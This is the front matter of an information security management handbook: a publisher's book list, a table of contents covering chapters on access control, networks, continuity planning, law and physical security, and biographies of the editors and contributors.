This content was uploaded by our users and we assume good faith they have the permission to share this book. If you own the copyright to this book and it is wrongfully on our website, we offer a simple DMCA procedure to remove your content from our site. Start by pressing the button below!
OTHER INFORMATION SECURITY BOOKS FROM AUERBACH Asset Protection and Security Management Handbook POA Publishing ISBN: 0-8493-1603-0 Building a Global Information Assurance Program Raymond J. Curts and Douglas E. Campbell ISBN: 0-8493-1368-6
Information Technology Control and Audit, Second Edition Fredrick Gallegos, Daniel Manson, Sandra Allen-Senft, and Carol Gonzales ISBN: 0-8493-2032-1 Investigator's Guide to Steganography Gregory Kipper 0-8493-2433-5
Building an Information Security Awareness Program Mark B. Desman ISBN: 0-8493-0116-5
Managing a Network Vulnerability Assessment Thomas Peltier, Justin Peltier, and John A. Blackley ISBN: 0-8493-1270-1
Critical Incident Management Alan B. Sterneckert ISBN: 0-8493-0010-X
Network Perimeter Security: Building Defense In-Depth Cliff Riggs ISBN: 0-8493-1628-6
Cyber Crime Investigator's Field Guide, Second Edition Bruce Middleton ISBN: 0-8493-2768-7 Cyber Forensics: A Field Manual for Collecting, Examining, and Preserving Evidence of Computer Crimes Albert J. Marcella, Jr. and Robert S. Greenfield ISBN: 0-8493-0955-7
The Practical Guide to HIPAA Privacy and Security Compliance Kevin Beaver and Rebecca Herold ISBN: 0-8493-1953-6 A Practical Guide to Security Engineering and Information Assurance Debra S. Herrmann ISBN: 0-8493-1163-2
The Ethical Hack: A Framework for Business Value Penetration Testing James S. Tiller ISBN: 0-8493-1609-X
The Privacy Papers: Managing Technology, Consumer, Employee and Legislative Actions Rebecca Herold ISBN: 0-8493-1248-5
The Hacker's Handbook: The Strategy Behind Breaking into and Defending Networks Susan Young and Dave Aitel ISBN: 0-8493-0888-7
Public Key Infrastructure: Building Trusted Applications and Web Services John R. Vacca ISBN: 0-8493-0822-4
Information Security Architecture: An Integrated Approach to Security in the Organization Jan Killmeyer Tudor ISBN: 0-8493-9988-2
Securing and Controlling Cisco Routers Peter T. Davis ISBN: 0-8493-1290-6
Information Security Fundamentals Thomas R. Peltier ISBN: 0-8493-1957-9 Information Security Management Handbook, 5th Edition Harold F. Tipton and Micki Krause ISBN: 0-8493-1997-8 Information Security Policies, Procedures, and Standards: Guidelines for Effective Information Security Management Thomas R. Peltier ISBN: 0-8493-1137-3 Information Security Risk Analysis Thomas R. Peltier ISBN: 0-8493-0880-1
Strategic Information Security John Wylder ISBN: 0-8493-2041-0 Surviving Security: How to Integrate People, Process, and Technology, Second Edition Amanda Andress ISBN: 0-8493-2042-9 A Technical Guide to IPSec Virtual Private Networks James S. Tiller ISBN: 0-8493-0876-3 Using the Common Criteria for IT Security Evaluation Debra S. Herrmann ISBN: 0-8493-1404-6
AUERBACH PUBLICATIONS www.auerbach-publications.com To Order Call: 1-800-272-7737 • Fax: 1-800-374-3401 E-mail: [email protected]
Visit the Taylor & Francis Web site at http://www.taylorandfrancis.com Taylor & Francis Group is the Academic Division of Informa plc.
and the Auerbach Publications Web site at http://www.auerbach-publications.com
Table of Contents
About the Editors...................................................................................................................... xi Contributors ...............................................................................................................................xiii Introduction .............................................................................................................................xxiii 1
ACCESS CONTROL SYSTEMS AND METHODOLOGY ................. 1
Section 1.1 1
Access Control Techniques
Sensitive or Critical Data Access Controls........................................................................... 5 Mollie E. Krehnke and David C. Krehnke
2
An Introduction to Role-Based Access Control ................................................................ 17 Ian Clark
3
Smart Cards.......................................................................................................................... 31 Jim Tiller
4
A Guide to Evaluating Tokens ............................................................................................ 41 Joseph T. Hootman
Section 1.2 5
Access Control Administration
Identity Management: Benefits and Challenges ................................................................ 51 Lynda L. McGhie
2
TELECOMMUNICATIONS AND NETWORK SECURITY ........... 69
Section 2.1
Communications and Network Security
6
An Examination of Firewall Architectures ........................................................................ 73 Paul A. Henry
7
The Five W’s and Designing a Secure, Identity-Based, Self-Defending Network (5W Network).......................................................................... 119 Samuel W. Chun v
8
Maintaining Network Security: Availability via Intelligent Agents................................ 131 Robby Fussell
9
PBX Firewalls: Closing the Back Door ............................................................................ 139 William A. Yarberry, Jr.
Section 2.2
Internet, Intranet, Extranet Security
10 Voice over WLAN .............................................................................................................. 145 Bill Lipiczky
11 Spam Wars: How To Deal with Junk E-Mail................................................................... 155 Al Bredenberg
Section 2.3
Network Attacks and Countermeasures
12 Auditing the Telephony System: Defenses against Communications Security Breaches and Toll Fraud....................................................... 161 William A. Yarberry, Jr.
13 The Controls Matrix.......................................................................................................... 179 Robert M. Slade
14 Information Security Governance.................................................................................... 183 Ralph Spencer Poore
15 Belts and Suspenders: Diversity in Information Technology Security .......................... 189 Jeffrey Davis
16 Building Management Commitment through Security Councils, or Security Council Critical Success Factors .................................................. 197 Todd Fitzgerald
Section 3.4
Risk Management
17 Developing and Conducting a Security Test and Evaluation......................................... 213 Sean M. Price
18 Enterprise Security Management Program ..................................................................... 223 George G. McBride
19 Technology Convergence and Security: A Simplified Risk Management Model.......... 233 Ken M. Shaurette
Section 3.5
Employment Policies and Practices
20 People, Processes, and Technology: A Winning Combination....................................... 241 Felicia M. Nicastro vi
Section 3.6
Policies, Standards, Procedures, and Guidelines
21 Building an Effective Privacy Program ............................................................................ 251 Rebecca Herold
22 Training Employees To Identify Potential Fraud and How To Encourage Them To Come Forward.......................................................... 265 Rebecca Herold
Section 3.8
Security Management Planning
23 Beyond Information Security Awareness Training: It Is Time To Change the Culture .................................................................................... 285 Stan Stahl
24 Establishing a Successful Security Awareness Program .................................................. 295 Charles R. Hudson, Jr.
4
APPLICATIONS AND SYSTEMS DEVELOPMENT SECURITY ............................................................................. 305
Section 4.3
System Development Controls
25 System Development Security Methodology................................................................... 309 Ian Lim and Ioana V. Bazavan
26 Software Engineering Institute Capability Maturity Model ................................................ 325 Matt Nelson
Section 4.4
Malicious Code
27 Organized Crime and Malware ........................................................................................ 339 Michael Pike
Section 4.5
Methods of Attack
28 Enabling Safer Deployment of Internet Mobile Code Technologies............................. 351 Ron Moritz
29 Blind Detection of Steganographic Content in Digital Images Using Cellular Automata..................................................................... 367 Sasan Hamidi
30 An Overview of Quantum Cryptography........................................................................ 373 Ben Rothke vii
31 Elliptic Curve Cryptography: Delivering High-Performance Security for E-Commerce and Communications............................................................ 385 Paul Lambert
6
SECURITY ARCHITECTURE AND MODELS ...................................... 393
Section 6.1 Principles of Computer and Network Organizations, Architectures, and Designs 32 Enterprise Assurance: A Framework Explored................................................................ 397 Bonnie A. Goins
33 Managing Unmanaged Systems........................................................................................ 407 Bill Stackpole and Man Nguyen
Section 7.2
Resource Protection Requirements
34 Understanding Service Level Agreements........................................................................ 423 Gilbert Held
8
BUSINESS CONTINUITY PLANNING AND DISASTER RECOVERY PLANNING .............................................. 429
Section 8.1
Business Continuity Planning
35 Building Maintenance Processes for Business Continuity Plans ................................... 433 Ken Doughty
36 Identifying Critical Business Functions ........................................................................... 445 Bonnie A. Goins
37 Selecting the Right Business Continuity Strategy ........................................................... 451 Ken Doughty
Section 8.2
Disaster Recovery Planning
38 Contingency at a Glance ................................................................................................... 457 Ken M. Shaurette and Thomas J. Schleppenbach
39 The Business Impact Assessment Process and the Importance of Using Business Process Mapping ............................................................ 465 Carl Jackson
40 How To Test Business Continuity and Disaster Recovery Plans and How Often ........ 483 James S. Mitts viii
9
LAW, INVESTIGATION, AND ETHICS .................................................... 497
Section 9.1
Information Law
41 Sarbanes–Oxley Compliance: A Technology Practitioner’s Guide................................. 501 Bonnie A. Goins
42 Health Insurance Portability and Accountability Act Security Rule.............................. 511 Lynda L. McGhie
43 The Ethical and Legal Concerns of Spyware ................................................................... 525 Janice C. Sipior, Burke T. Ward, and Georgina R. Roselli
Section 9.3
Major Categories of Computer Crime
44 The Evolution of the Sploit .............................................................................................. 537 Ed Skoudis
45 Computer Crime ............................................................................................................... 551 Christopher A. Pilewski
46 Phishing: A New Twist to an Old Game.......................................................................... 559 Stephen D. Fried
47 It’s All about Power: Information Warfare Tactics by Terrorists, Activists, and Miscreants............................................................................ 579 Gerald L. Kovacich, Andy Jones, and Perry G. Luzwick
Section 9.4
Incident Handling
48 DCSA: A Practical Approach to Digital Crime Scene Analysis...................................... 601 Marcus K. Rogers
49 What a Computer Security Professional Needs To Know about E-Discovery and Digital Forensics ........................................................ 615 Larry R. Leibrock
50 How To Begin a Non-Liturgical Forensic Examination ................................................. 621 Carol Stucki
10 PHYSICAL SECURITY ............................................................................................ 637 Section 10.1 Elements of Physical Security 51 Physical Security for Mission-Critical Facilities and Data Centers ............................... 641 Gerald Bowman
INDEX ............................................................................................................................................ 663
ix
This page intentionally left blank
About the Editors
Harold F. Tipton, CISSP, currently an independent consultant and past president of the International Information System Security Certification Consortium, (ISC)2, was Director of Computer Security for Rockwell International Corporation for 15 years. He initiated the Rockwell computer and data security program in 1977 and then continued to administer, develop, enhance, and expand the program to accommodate the control needs produced by technological advances until his retirement from Rockwell in 1994. He has been a member of the Information Systems Security Association (ISSA) since 1982, was president of the Los Angeles Chapter in 1984, and was president of the national organization of ISSA from 1987 to 1989. He was added to the ISSA Hall of Fame and the ISSA Honor Role in 2000. He received the Computer Security Institute “Lifetime Achievement Award” in 1994 and the (ISC)2 “Hal Tipton Award” in 2001. He was a member of the National Institute for Standards and Technology (NIST) Computer and Telecommunications Security Council and the National Research Council Secure Systems Study Committee (for the National Academy of Science). He has a bachelor’s of science degree in engineering from the U.S. Naval Academy, a master’s degree in personnel administration from George Washington University, and a certificate in computer science from the University of California, Irvine. He has published several papers on information security issues in the Information Security Management Handbook, Data Security Management, Information Systems Security, and the National Academy of Sciences report Computers at Risk. He has been a speaker at all of the major information security conferences, including the Computer Security Institute, ISSA Annual Working Conference, Computer Security Workshop, MIS Conferences, AIS Security for Space Operations, DOE Computer Security Conference, National Computer Security Conference, IIA Security Conference, EDPAA, UCCEL Security and Audit Users Conference, and Industrial Security Awareness Conference. He has conducted and participated in information security seminars for (ISC)2, Frost & Sullivan, UCI, CSULB, System Exchange Seminars, and the Institute for International Research. He is currently serving as editor of the Information Security Management Handbook. Micki Krause, CISSP, has held positions in the information security profession for the past 20 years. She is currently the Chief Information Security Officer at Pacific Life Insurance Company in Newport Beach, California, where she is accountable for directing their information protection and security program enterprisewide. Micki has held several leadership roles in industry-influential groups including the Information Systems Security Association (ISSA) and the International Information System Security Certification Consortium, (ISC)2, and is a long-term advocate for professional security education and certification. In 2003, Krause received industry recognition as a recipient of the “Women of Vision” award given by Information Security magazine. In 2002, Krause was honored as the second recipient of the Harold F. Tipton Award in recognition of sustained career excellence and outstanding contributions to the profession. She is a reputed speaker, published author, and co-editor of the Information Security Management Handbook series. xi
This page intentionally left blank
Contributors
Ioana V. Bazavan, CISSP, is the Manager of Information Security Access Services at Safeway, Inc. She manages a team of 18 people who are charged with providing systems access to all of Safeway’s users and applications. She has been heavily involved in the design and implementation of Safeway’s Identity Management strategy and technologies. Previously, Ioana was a manager in Accenture’s global security practice, specializing in holistic security solutions that focus on users and organizations, as well as on systems. She gained extensive experience in security policy, standards, and process design and implementation; compliance solutions based on industry and regulatory standards; security organization design; user training and awareness; incident response; risk assessment; user management systems; infrastructure security; systems development methodology; and security strategy. Ioana has industry experience in financial services, government, high-tech, resources, and retail. Gerald Bowman is currently the North American Director of ACE and Advanced Technologies for SYSTIMAX® Solutions for the design professional community and advanced technology in the corporate enterprise. Jerry joined the SYSTIMAX team from Superior Systems Technologies, where he was Chief Operating Officer. Prior to that, he was Vice President of Engineering for Riser Management Systems, a telecommunications design, engineering, management, and consulting firm responsible for consulting engineering projects for 78 of the tallest buildings in the United States, including 12 Carrier Hotels, numerous data centers for ISPs, high-end telecom real estate, and other corporate enterprises. Al Bredenberg is a writer, Web developer, and Internet marketing consultant. He is author of The Small Business Guide to Internet Marketing and editor of The NET Results News Service, both of which are electronic publications available over the Internet. He can be reached at [email protected] or through his World Wide Web site at http://www.copywriter.com. Samuel W. Chun, CISSP, is Director of Network Services at Digital Support Corporation, a TechTeam Global Company. Ian Clark is Head of IT Quality Assurance for GE Consumer Finance. While at Nokia, he was the Security Portfolio Manager for Nokia’s business infrastructure, working on global security projects. Prior to Nokia, he worked for EDS and spent 11 years in the British army specializing in secure communications. Jeffrey Davis, CISSP, has been working in information security for the past ten years. He is currently a senior manager at Lucent Technologies and is involved with intrusion detection, anti-virus, and threat assessment. He holds a bachelor’s degree in electrical engineering and a master’s degree in computer science from Stevens Institute of Technology. Ken Doughty is the Manager of Disaster Recovery for Colonial, one of Australia’s largest financial institutions in the banking, insurance, and investment services sector. He has over 20 years of information xiii
systems auditing experience and 12 years business continuity planning experience in the public and private sectors. Todd Fitzgerald, CISSP, CISA, CISM, is the Director of Systems Security and Systems Security Officer for United Government Services, LLC. He has over 25 years of broad-based information technology experience and has held senior information technology management positions with Fortune 500 and Global Fortune 250 companies. Todd is a member of the Board of Directors and security taskforce cochair for the HIPAA Collaborative of Wisconsin (HIPAA COW); a participant in the CMS/Gartner Security Best Practices Group, Blue Cross Blue Shield Association Information Security Advisory Group; a previous board member for several information systems security associations; and a frequent speaker and writer on security issues. Todd focuses largely on issues related to security management, risk assessments, policy development, organizing security, security assessments, regulatory compliance (HIPAA, CAST, NIST, ISO17799), security awareness, and developing security programs. Todd can be reached at [email protected]. Stephen D. Fried, CISSP, CISM, is the Vice President for Information Security and Privacy at Metavante Corporation. He is a seasoned information security professional with over 20 years’ experience in information technology. For the past ten years he has concentrated his efforts on providing effective information security management to large organizations. Stephen has led the creation of security programs for two Fortune 500 companies and has extensive experience in such diverse security issues as risk assessment and management, security policy development, security architecture, infrastructure and perimeter security design, outsource relationship security, offshore development, intellectual property protection, security technology development, business continuity, secure E-business design, and information technology auditing. A frequent speaker at conferences in the United States and internationally, Stephen is active in many security industry organizations. Robby Fussell is at the School of Computer and Information Sciences at Nova Southeastern University in Fort Lauderdale, Florida. Bonnie A. Goins, BS7799 Certified Lead Auditor, CISSP, CISM, GIAC, ISS, NSA IAM, is a Principal Consultant with HotSkills, Inc. As a Senior Security Strategist at Isthmus Group, Inc., she was the copractice leader for IGI’s Security Practice. She has over 15 years of experience in the areas of information security; secure network design and implementation; risk, business impact, and security assessment methods; project management; executive strategy and management consulting; and information technology. She also has extensive working experience in regulated industries. She has functioned as a National Security Practice competency leader for multiple companies and has also established premier partnerships with Novell and Microsoft, across the business continuity/disaster recovery and security disciplines. She is a coauthor of the Digital Crime Prevention Lab and a contributing reviewer for SANS’ HIPAA Stepby-Step. Sasan Hamidi, Ph.D., is Chief Security Officer at Interval International, Inc. Gilbert Held is an award-winning author and lecturer. Gil is the author of over 50 books and 500 technical articles. Some of Gil’s recent publications include Building the Wireless Office and The ABCs of TCP/IP, both published by Auerbach Publications. Gil can be contacted via e-mail at [email protected].
xiv
Paul Henry, CISSP, is Senior Vice President of CyberGuard Corporation. He has more than 20 years’ experience with security and safety controls for high-risk environments such as nuclear power plants and industrial boiler sites. In addition, Paul has developed and managed security projects for major government and commercial organizations worldwide. Paul has written technical papers on port scanning basics, buffer over-runs, firewall architectures, and burner management and process controls for nuclear power plants, as well as white papers on covert channel attacks, distributed denial of service (DDoS) attacks, common mode noise and common mode rejection, PLC programming, and buffer over-runs. Paul also frequently serves as a featured and keynote speaker at network security seminars and conferences worldwide, presenting white papers on diverse topics, including DDoS attack risk mitigation, firewall architectures, intrusion methodology, enterprise security, and managed security services. In addition to the CISSP, Paul holds many other security certifications, including MCP+I, MCSE, CCSA, CCSE, CFSA, CFSO, CISM, and CISA. Rebecca Herold, CISM, CISA, CISSP, FLMI, is an information privacy, security, and compliance consultant, author, and instructor. Rebecca has over 15 years of information privacy, security, and regulatory compliance experience and assists organizations of all sizes with their information privacy, security, and regulatory compliance programs. Prior to owning her own business, Rebecca was Vice President of Privacy Services and Chief Procurement Officer at DelCreo for two years. Rebecca was also Senior Systems Security Consultant at Principal Financial Group, where she was instrumental in building an information security and privacy program that was awarded the 1998 CSI Information Security Program of the Year. Rebecca is the author of The Privacy Papers (Auerbach, 2001) and Managing an Information Security and Privacy Training and Awareness Program (Auerbach, 2005) and is co-author of The Practical Guide to HIPAA Privacy and Security Compliance (Auerbach, 2003) and The Business Executive Practical Guides to Compliance and Security Risks book series in 2004. She can be reached at [email protected] Joseph T. Hootman is President of Computer Security Systems, Inc., a computer and information security consulting and product sales firm based in Northern California. Charles R. Hudson, Jr., CISSP, CISM, is an Information Security Manager and Assistant Vice President at Wilmington Trust Company. Mr. Hudson obtained the Certified Information Systems Security Professional (CISSP) designation in 2000 and the Certified Information Security Manager (CISM) designation in 2003. He is a regular speaker at national conferences and has made presentations at over 15 conferences in the last 5 years as a subject matter expert. Mr. Hudson has contributed to articles for Computer World, Security Watch, and Information Security Magazine. Carl Jackson, CISSP, CBCP, is Business Continuity Program Director with Pacific Life Insurance. He is a Certified Information Systems Security Professional (CISSP) with more than 25 years of experience in the areas of continuity planning, information security, and information technology internal control and quality assurance reviews and audits. Prior to joining Pacific Life, he worked with several information security consulting companies and as a partner with Ernst & Young, where he was the firm’s BCP Line Leader. Carl has extensive consulting experience with numerous major organizations in multiple industries, including manufacturing, financial services, transportation, healthcare, technology, pharmaceutical, retail, aerospace, insurance, and professional sports management. He also has extensive industry business information security experience as an information security practitioner and as a manager in the field of
xv
information security and business continuity planning. He has written extensively and is a frequent public speaker on all aspects of information security and business continuity planning. He can be reached at [email protected]. Andy Jones is an experienced military intelligence analyst and information technology security specialist. He has had considerable experience in the analysis of intelligence material in strategic, tactical, and counter-insurgency operations, as well as a wide range of information systems management experience. In addition, he has considerable experience in the security of information technology systems, having been responsible for the implementation of information technology security within all areas of the British Army and in some joint service organizations. He has directed both intelligence and security operations and briefed the results at the highest level. He was awarded the MBE for his work during his service in Northern Ireland and has gained an Open University bachelor of science degree in mathematics and technology. After completing 25 years service with the British Army’s Intelligence Corps, he moved into research in information warfare and information security. He has gained considerable experience as a project manager within the U.K. Defence Evaluation and Research Agency (DERA) for security aspects of digitization of the battlefield initiative and has gained considerable expertise on the criminal and terrorist aspects of information security. He is currently the business manager for the secure E-business department of QinetiQ, the privatized portion of DERA. He holds a lecturership with the U.K. Open University and is a visiting lecturer at the University of Glamorgan in a master of science program for network security and computer crime.
Gerald L. Kovacich, Ph.D, CISSP, CFE, CPP, has over 37 years of industrial security, investigations, information systems security, and information warfare experience in the U.S. government as a special agent; in business, as a technologist and manager for numerous technology-based, international corporations as an ISSO, security, audit, and investigations manager; and as a consultant to U.S. and foreign government agencies and corporations. He has also developed and managed several internationally based InfoSec programs for Fortune 500 corporations and managed several information systems security organizations, including providing service and support for their information warfare products and services. David C. Krehnke, CISSP, ISSMP, CISM, CHS-III, IAM, is a Principal Information Security Analyst for Northrop Grumman Information Technology in Raleigh, North Carolina. He has more than 30 years of experience in assessment and implementation of information security technologies, policies, practices, procedures, and protection mechanisms in support of organizational objectives for various federal agencies and government contractors. David has also served the International Information Systems Security Certification Consortium as a board member, vice president, president, and program director responsible for test development. Mollie E. Krehnke, CISSP, CHS-II, IAM, is a Senior Information Security Consultant for Insight Global, Inc., in Raleigh, North Carolina. Mollie and her husband, David Krehnke, are members of the inventor team for the Workstation Lock and Alarm System (U.S. Patent No. 6,014,746). Mollie has served as an information security consultant for more than 15 years. Paul Lambert is responsible for the development and implementation of Certicom’s product strategy to meet and exceed current market demands, trends, and forecasts for cryptographic security technologies. He is currently a government appointee to a technical advisory committee for federal information
xvi
processing and an active contributor to technical standards for such security technologies as digital signatures and network, e-mail, and LAN security. Lambert was previously at Motorola, where he served as a top security architect, designing the security architecture for a family of products to protect Internet communications. Prior to Motorola, he was director of security products at Oracle, where he was responsible for the development and product management of core security technologies for all Oracle products. Lambert has published numerous papers on key management and communication security and is the founder and co-chair of the IP security working group in the Internet Engineering Task Force. He holds bachelor of science degrees in both electrical engineering and computer science from the University of Colorado, Boulder. Larry R. Leibrock, Ph.D., is with eForensics, Inc. Ian Lim, CISSP, is Director of Enterprise Information Security at New Century Financial Corporation. He works alongside the Information Security Officer to manage the Corporate Information Security department, develop corporatewide security policies, review and certify the security of enterprise architectural components, and assure compliance with security-related regulations. Previously, as a Senior Consultant in Accenture’s global security practice, Ian worked in the healthcare, financial, government, telecommunications, and high-tech industries to provide information security expertise in the areas of strategy development, architectural designs, process definitions, and organizational planning. Bill Lipiczky has practiced in the information technology and security arena for over two decades, beginning his career as a mainframe operator. As information technology and security evolved, he evolved as well. His experience includes networking numerous operating systems (UNIX, NetWare, and Windows) and networking hardware platforms. He currently is a principal in a security consulting and management firm as well as a lead CISSP instructor for the International Information System Security Certification Consortium. Perry G. Luzwick is Director, Information Assurance Architectures, at Northrop Grumman Information Technology for information warfare, information assurance, critical infrastructure protection, and knowledge management. Perry served as a Lieutenant Colonel in the U.S. Air Force and was Military Assistant to the Principal Deputy Assistant Secretary of Defense for Command, Control, Communications, and Intelligence; Deputy Director for Defensive IO, IO Strategy, and Integration Directorate; Chief, Information Assurance Architecture, Directorate for Engineering and Interoperability, Defense Information Systems Agency (DISA); Deputy Chief, Current Operations and Chief, Operations and Information Warfare Integration, Operations Directorate, DISA; Information Assurance Action Officer, Information Assurance Division (J6K), the Joint Staff; and Chief, JCS, CINC, and Defense Agency Communications–Computer Security Support, National Security Agency. George G. McBride, CISSP, is the Senior Manager of Lucent Technologies’ Global Risk Assessment and Penetration Testing group in Holmdel, New Jersey, and has worked in the network security industry for more than six years. George has spoken at conferences worldwide on topics such as penetration testing, risk assessments, and open source security tools. He has consulted to numerous Fortune 100 companies on projects including network architecture, application vulnerability assessments, and security organization development. George has a bachelor’s degree in electronic engineering and a master’s degree in software engineering.
xvii
Lynda L. McGhie, CISSP, CISM, is the Information Security Officer/Risk Manager for Wells Fargo Bank, Private Client Services (PCS). Lynda has over 23 years of information technology and information security experience, specializing in risk management and compliance, security engineering and design, business continuity planning and crisis management, network security, and identity management. Lynda was formerly the Chief Information Security Officer for Delta Dental and Lockheed Martin Corporation. In her current role, she is responsible for risk management for PCS within the Wells Fargo Corporation and has a dotted-line responsibility to the corporate CISO/IT security governance. Lynda regularly publishes articles on state-of-the-art security topics and issues and is also a regular speaker for MIS, ISSA, ISACA, and other information technology and security venues. James S. Mitts, CISSP, is a Principal Consultant with Vigilant Services Group who has over 18 years of demonstrated ability in managing, planning, implementing, and controlling complex projects involving numerous aspects of business continuity, disaster recovery, and information technology and security. He holds a bachelor of science degree in professional management from Nova University. Ron Moritz is director of the Technology Office at Finjan Software, where he serves as primary technology visionary. As a key member of the senior management team interfacing between sales, marketing, product management, and product development, Moritz helps establish and maintain the company’s technological standards and preserve the company’s leadership role as a developer of advanced Internet security solutions. He was instrumental in the organization of Finjan’s Java Security Alliance and established and currently chairs Finjan’s Technical Advisory Board. He is one of a select group of Certified Information Systems Security Professionals, and he earned his master of software engineering, master of business administration, and bachelor of arts from Case Western Reserve University in Cleveland, Ohio. Moritz has served in various capacities, including president, with both the North Coast chapter of the Information Systems Security Association and the Northeast Ohio chapter of the Information Systems Audit and Control Association. He has lectured on Web security, mobile code security, computer ethics, intellectual property rights, and business continuity and resumption planning. Over the past year, his presentations on mobile code security have been well received at the European Security Forum (London), the FBI’s InfraGuard Conference (Cleveland), CSI’s NetSec (San Antonio), MISTI’s Web-Sec Europe (London), and RSA Data Security (San Francisco). Matt Nelson spent several years as a programmer, a network manager, and an IT director. He now does information security and business process consulting for International Network Services. He has a bachelor’s degree in computer science from Texas A&M University and a master’s in technology management from The University of Texas at San Antonio. His certifications include the CISSP, PMP, and ITIL Foundation certifications. Man Nguyen, CISSP, is a Security Consultant at Microsoft Corporation. Felicia M. Nicastro, CISSP, CHSP, is a Principal Consultant with International Network Services (INS). Felicia has worked with various Fortune 500 companies over the four years she has been with INS. Her areas of expertise include security policies and procedures, security assessments and security architecture planning, design, implementation, and operation. Prior to joining INS, Felicia was a systems administrator for the Associated Press, responsible for UNIX and security administration. Felicia earned her bachelor’s degree in management information systems from Stockton College in New Jersey. Her e-mail address is [email protected]. xviii
Michael Pike, ITIL, CISSP, is an information security consultant working for a large local government organization in the United Kingdom. He started working in information technology over 14 years ago and spent several years in end-user support and information technology operations before moving to information security full time. Michael has worked for a variety of public and private sector organizations in the North of England. His experience includes security analysis, forensic work, and incident response. Michael can be contacted at [email protected]. Christopher A. Pilewski, CCSA, CPA/E, FSWCE, FSLCE, MCP, is a Senior Security Strategist at Isthmus Group, Inc. He has over 14 years of professional experience in networking technology, engineering, audit, security, and consulting. This experience spans security, risk assessment and mitigation, business process, technical controls, business continuity, technical project leadership, design, and integration of network and information systems. Prior to joining the Isthmus Group, he worked for three flagship communications companies where he led a wide variety of projects in security assessments, implementation of security systems, secure network architecture, network management systems, quality control/assurance, protocol analysis, and technical marketing. Ralph Spencer Poore, CFE, CISA, CISSP, CHS-III, Principal Consultant, Innovè, LLC, and Senior Partner, Pi R Squared Consulting, LLP, provides security, privacy, and compliance consulting services, continuing a 30-plus-year distinguished career in information security as an inventor, author, consultant, CISO, CTO, college instructor, and entrepreneur. He has published widely, including articles on information security issues in the Information Security Management Handbook and in Information Systems Security (where he was a past consulting editor). He served in numerous capacities with (ISC)2, including as a past International president, as founding chairman of the Test Development Committee, and as chairman of the Governance Committee. He currently serves on the Professional Conduct Committee, the CBK Committee, and the Americas Advisory Board. Sean M. Price, CISSP, is an independent information security consultant located in the Washington, D.C., area. He provides security consulting and engineering support for commercial and government entities. His experience includes nine years as an electronics technician in metrology for the U.S. Air Force. He has earned a bachelor’s of science degree in accounting and a master’s of science degree in computer information systems. Sean is continually immersed in research and development activities for secure systems. His e-mail address is [email protected]. Marcus K. Rogers, Ph.D., CISSP, CCCI, is with the Department of Computer Technology at Purdue University. Georgina R. Roselli is a member of the faculty at the College of Commerce and Finance at Villanova University.
Ben Rothke, CISSP, CISSM, is a New York City-based senior security consultant with ThruPoint, Inc., and has over 15 years of industry experience in the area of information systems security. His areas of expertise are in PKI, HIPAA, 21 CFR Part 11, security and privacy regulatory issues, design and implementation of systems security, encryption, firewall configuration and review, cryptography, and security policy development. Ben is the author of Computer Security: 20 Things Every Employee Should Know (McGraw-Hill, 2003) and a contributing author to Network Security: The Complete Reference (McGraw–Hill Osborne, 2003) and Information Security Management Handbook (Auerbach, 1999). He can be reached at [email protected]. xix
Thomas J. Schleppenbach, CISSP, CISM, SCTA, is a Senior Information Security Advisor for MPC Solutions in Waukesha, Wisconsin. With over 16 total years of information technology experience, Tom is a trained Computer Forensics investigator who focuses on assisting organizations with secure infrastructure design and provides strategic security advice to help organizations plan and build information security programs for compliance with legal and regulatory requirements. Tom is a member of the Western Wisconsin Chapter of InfraGard Executive planning committee and a member of the Wisconsin Association of Computer Crime Investigators and has worked with schools and school districts to educate children on how to stay safe online. He can be reached at [email protected]. Ken M. Shaurette, CISSP, CISA, CISM, is an Information Security Solutions Manager for MPC Security Solutions practice located in Pewaukee, Wisconsin. Ken has been in information technology since 1978. Since 1985, Ken has worked at several organizational levels providing information security and audit advice and vision for organizations building information security programs in several different industries and for Fortune 500 organizations. Ken holds several security certifications and is certified in the NSAs InfoSec Assessment Methodology. As a frequent speaker at regional and national seminars and conferences, Ken has also contributed white papers and other articles on security. Ken is the chairman of the Information Security Specialist Advisory Board for Milwaukee Area Technical College, president of the Western Wisconsin Chapter of InfraGard, president of International Systems Security Association–Milwaukee Chapter, a member of the Wisconsin Association of Computer Crime Investigators, and co-chair of the HIPAA-COW (Collaborative of Wisconsin) Security Workgroup; he has also been the co-chair for the Wisconsin InfraGard KIS (Kids Improving Security) poster contest. Janice C. Sipior is a member of the faculty at the College of Commerce and Finance at Villanova University. Janice can be reached at [email protected]. Ed Skoudis, CISSP, is a senior security consultant with Intelguardians Network Intelligence. Ed’s expertise includes hacker attacks and defenses, the information security industry, and computer privacy issues. He has performed numerous security assessments, designed secure network architectures, and responded to computer attacks for clients in the financial, high-technology, healthcare, and other industries. Ed is a frequent speaker on issues associated with hacker tools and defenses and has published several articles on these topics, as well as Malware and Counter Hack. Ed is also author of the popular “Crack the Hacker Challenge” series, which challenges InfoSec professionals to learn from others’ mistakes. Additionally, Ed conducted a demonstration of hacker techniques against financial institutions for the U.S. Senate. His prior work experience includes Bell Communications Research (Bellcore), SAIC, Global Integrity, and Predictive Systems.
Robert M. Slade, MS, CISSP, is a data communications and security specialist from North Vancouver, British Columbia, Canada. He has both formal training in data communications and exploration with the BBS and network community and has done communications training for a number of the international commercial seminar firms. He is the author of Robert Slade’s Guide to Computer Viruses (Springer–Verlag, 1996). He earned a bachelor of science degree at the University of British Columbia, and a master’s from the University of Oregon. He is the founder of the DECUS Canada Education and Training SIG. Bill Stackpole, CISSP, CISM, is an Engagement Manager with Microsoft Corporation. Stan Stahl, Ph.D., is President of Citadel Information Group, Inc. xx
Carol Stucki is working as a technical producer for PurchasePro.com, a rapidly growing dot.com company that is an application service provider specializing in Internet-based procurement. Carol’s past experiences include working with GTE, Perot Systems, and Arthur Andersen as a programmer, system analyst, project manager, and auditor. Jim Tiller, CISM, CISA, CISSP, is Chief Security Officer and Managing Vice President of Security Services for International Network Services (INS). Jim has been with INS since 1998 and has provided security solutions for global organizations for the last 13 years. He is the author of The Ethical Hack: A Framework for Business Value Penetration Testing (Auerbach, 2003) and A Technical Guide to IPSec Virtual Private Networks (Auerbach, 2000) and editor of Information Systems Security. Burke T. Ward is a member of the faculty at the College of Commerce and Finance at Villanova University. William A. Yarberry, Jr., CPA, CISA, is a principal with Southwest Telecom Consulting. He is the author of Computer Telephony Integration (Auerbach, 2002) and co-author of Telecommunications Cost Management (Auerbach, 2002). He welcomes reader comments ([email protected]).
xxi
This page intentionally left blank
Introduction
